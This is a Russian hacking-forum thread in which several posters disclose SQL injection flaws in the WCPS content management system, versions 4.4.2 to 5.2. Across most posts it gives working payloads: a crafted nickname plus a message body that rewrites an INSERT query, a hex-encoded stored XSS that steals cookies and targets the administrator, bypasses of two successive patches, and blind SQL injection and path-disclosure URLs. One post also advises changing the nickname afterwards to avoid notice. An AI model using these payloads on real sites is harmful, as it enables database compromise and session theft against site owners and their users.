Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

15.08.2008, 22:50
|
|
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
Провел на форуме: 2030482
Репутация:
1796
|
|
SQL Injection in WCPS v.4.4.2
3.14здец вот еще одна тысячная по счету бага.
1. ОПИСАНИЕ
Вообщем не буду привдить примеры с кодом и тд т.к уязивмого кода будет очень много, и описывать все мне просто лень. Распишу на словах.
Вообщем в этой поганой цмс у каждого юзера существует его Ник и Логин. Они могут быть одинаковыми могут и нет. Вообщем Логин используется только для авторизации юзера, а соответственно его Ник выводится везде, типа рядом с его сообщениями ну и тд.
Проблема состоит в том что в этой цмс в качестве Ника можно использовать строку содержащую спецсимволы. Но все замечательно слешируется при попадании этого ника в БД при регестрации.
Но дело в том что инфа извлекается в массив SESSION при авторизации БЕЗ СЛЕШИРОВАНИЯ и используется в дальнейшем в своих запросах.
Это была проблема. А узявимость можно замутить в модуле приватных сообщений. Ну и тут можно привести немного кода. Файл mod/privat/new.php
PHP код:
$query="INSERT INTO ".$wcpref."privat VALUES ('', '$pmunames', '$pmsubject', '$_SESSION[user_fio]', '$now', '$pmmsn','1', '0') ";
mysql_query($query);
Нормальный запрос принимает вид:
Код:
INSERT INTO wcps_privat VALUES ('', 'Кому', 'Тема', 'Ник', 'Время', 'Сообщение','1', '0')
Ну казалось бы, ну и что здесь такого? А вот что. Регистрируем нового юзера с ником " bla'/*" (без ковычег "), в итоге наш запрос при создании становится немного неккоректным и будет выглядеть так:
Код:
INSERT INTO wcps_privat VALUES ('', 'Кому', 'Тема', 'bla'/*', 'Время', 'Сообщение','1', '0')
а превратить его в валидный достаточно просто, в теле сообщения пишем " */,1,([SQL запрос]),1,0)/*" (без ковычег "), и получаем запрос с выводом в самом сообщении следующего плана:
Код:
INSERT INTO wcps_privat VALUES ('', 'Кому', 'Тема', 'bla'/*', 'Время', '*/,1,([SQL запрос]),1,0)/*','1', '0')
2. ЭКСПЛУАТАЦИЯ
Все было бы за**ись конешно, но тут присутствует одно маленькое е*антство как фильтрация слов user_login и user_pass а это как вы догадались имена полей с логинами и хешами в таблице с юзерами.
а. SQL injection
Так как вывести логины с хешами у вас не выйдет то юзабельность этой баги в этом смысле спадает на нет. Но все же пару советов для эксплуатации этой баги в качестве SQL-inj. Так как вывод идет в тело отправленного сообщения то юзать в качестве Адресата какого нибудь другого юзера - крайне не разумно. Можно указать свой Ник а идиально для этого зарегить еще один аккаунт.
b. Active XSS
Тут уже поинтереснее. Так как вывод идет в тело сообщения из БД без фильтрации то можно заюзать охуительную Active XSS "отправив" админу сообщение с нашим кодом. Плюс если заделать функциональный снифер, то получится помощнее чем простая SQL inj.
Как? Очень просто. В тело сообщения пишем(разумеется без второй строчки)
Код:
*/,1,(SELECT 0xCFF0E8E2E5F2213C7363726970743E616C65727428646F63756D656E742E636F6F6B6965293C2F7363726970743E),1,0) -- d
Привет!<script>alert(document.cookie)</script>
Ну вообщем тут можете фантазировать как хотите)
2. OUTRO
Вообще интересная бага, да и сам метод реализации.
Можно было бы засунуть весь запрос в ник, но смысла нету. Посему я выбрал разбить запрос на две части.
А и еще не забудьте потом поменять свой ник в профиле на что нить менее бросающееся в глаза)
Удачи...
__________________
Кто я?..
Последний раз редактировалось Ctacok; 11.12.2009 в 22:11..
Причина: Маты в тексте.
|
|
|

23.08.2008, 12:07
|
|
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
Провел на форуме: 2030482
Репутация:
1796
|
|
SQL Injection in WCPS v.4.4.3
Сцуко, чудики, они даже баги латать нормально не умеют =\.
Собственно заплатка предущей уязвимости:
PHP код:
if(!preg_match("/[a-zA-Z0-9а-яА-Я\_\-\{\}\@\[\]]+$/i", $logines)){
print "Kernel panic";
exit;
}
if(!preg_match("/[a-zA-Z0-9а-яА-Я\_\-\{\}\@\[\]]+$/i", $admin_name)){
print "Kernel panic";
exit;
}
не ну не ппц ли? Вообщем этот зло**учий фильтр обходится элементарно.
Создаем юзера с ником " bla'/*bla" (без ковычег "), пишем PM сообщение " */,1,([SQL запрос]),1,0)/*" (также без ковычег ") то есть все тоже самое как написанно выше, за исключением немного измененного Ника у юзера.
Удачи...
Авторам привет 
__________________
Кто я?..
Последний раз редактировалось Ctacok; 11.12.2009 в 22:12..
Причина: Мат в тексте
|
|
|

02.09.2008, 19:20
|
|
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
Провел на форуме: 2030482
Репутация:
1796
|
|
SQL Injection in WCPS v5
И снова здравствуйте.
Собственно вы не поверете, и во второй раз эту же багу у них залатать не вышло, как ни смешно/грустно бы это не звучало.
В этой версии у них появился фильтр следующего рода:
PHP код:
$reg_login = str_replace( "'", '`', $reg_login );
то бишь кавычка в логине заменятеся на апосторф(ну или как этот символ зовтеся), то есть вроде мы запрос модифицировать не можем.
Ну а тогда представим следующий запрос к БД:
Код:
INSERT INRO ... VALUES (...,'[ваш логин]','[любое другое поле кторое вы можете изменить]',...)
Так вот так как вы можете использовать в своем логине слеш \. То можно сдвинуть запрос как бы на одну кавычку. Допустим ваш логин blablabla\ тогда запрос принимает вид:
Код:
INSERT INRO ... VALUES (...,'blablabla\','[любое другое поле кторое вы можете изменить]',...)
то есть мы выходим за кавычку и можем заюзать SQL injection.
PS теперь перед публикацией баги о ней будет сообщатся автору, кстати снова ему привет 
__________________
Кто я?..
|
|
|

09.06.2010, 14:53
|
|
Участник форума
Регистрация: 13.12.2009
Сообщений: 130
Провел на форуме: 540530
Репутация:
54
|
|
SQL Injection in WCPS v5.2
Требуется авторизация в админке
Blind SQL inj.
http://wcps/admin.php?op=ban&flag=suser&active=view_user&modul =default&nl=1+and+substring(@@version,1,1)=5
Раскрытие путей.
http://wcps/admin.php?op=options&flag=valid&pers=russian&madul[]=1340000
http://wcps/admin.php?op=counter&flag=clear&action=08&ids[]=wc_counter_referer
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|